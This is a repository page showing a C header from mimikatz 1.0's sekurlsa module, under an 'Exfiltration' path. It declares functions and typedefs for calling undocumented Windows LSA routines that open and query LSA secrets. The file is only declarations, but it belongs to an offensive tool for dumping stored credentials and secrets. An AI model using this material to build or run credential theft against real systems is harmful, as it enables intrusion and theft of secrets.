aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h
blob: cb74837d27b8b3e4d6a771465379ad4c8410599d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence    : http://creativecommons.org/licenses/by/3.0/fr/
	Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "kmodel.h"
#include "mod_text.h"
#include <wincred.h>

bool searchSECFuncs();
__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments);
__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector<wstring> * mesArguments);

#define	SECRET_SET_VALUE	0x00000001
#define	SECRET_QUERY_VALUE	0x00000002

typedef struct _LSA_SECRET
{
	DWORD		Length;
	DWORD		MaximumLength;
	wchar_t *	Buffer;
} LSA_SECRET, *PLSA_SECRET;

typedef NTSTATUS (WINAPI * PLSA_I_OPEN_POLICY_TRUSTED)	(LSA_HANDLE * pHPolicy);
typedef NTSTATUS (WINAPI * PLSA_R_OPEN_SECRET)			(LSA_HANDLE hPolicy, LSA_UNICODE_STRING *, DWORD dwAccess, LSA_HANDLE * hSecret);
typedef NTSTATUS (WINAPI * PLSA_R_QUERY_SECRET)			(LSA_HANDLE hSecret, PLSA_SECRET * ppSecret, PVOID pCurrentValueSetTime, PLSA_UNICODE_STRING * ppOldSecret, PVOID pOldValueSetTime);
typedef NTSTATUS (WINAPI * PLSA_R_CLOSE)				(LSA_HANDLE * pHandle);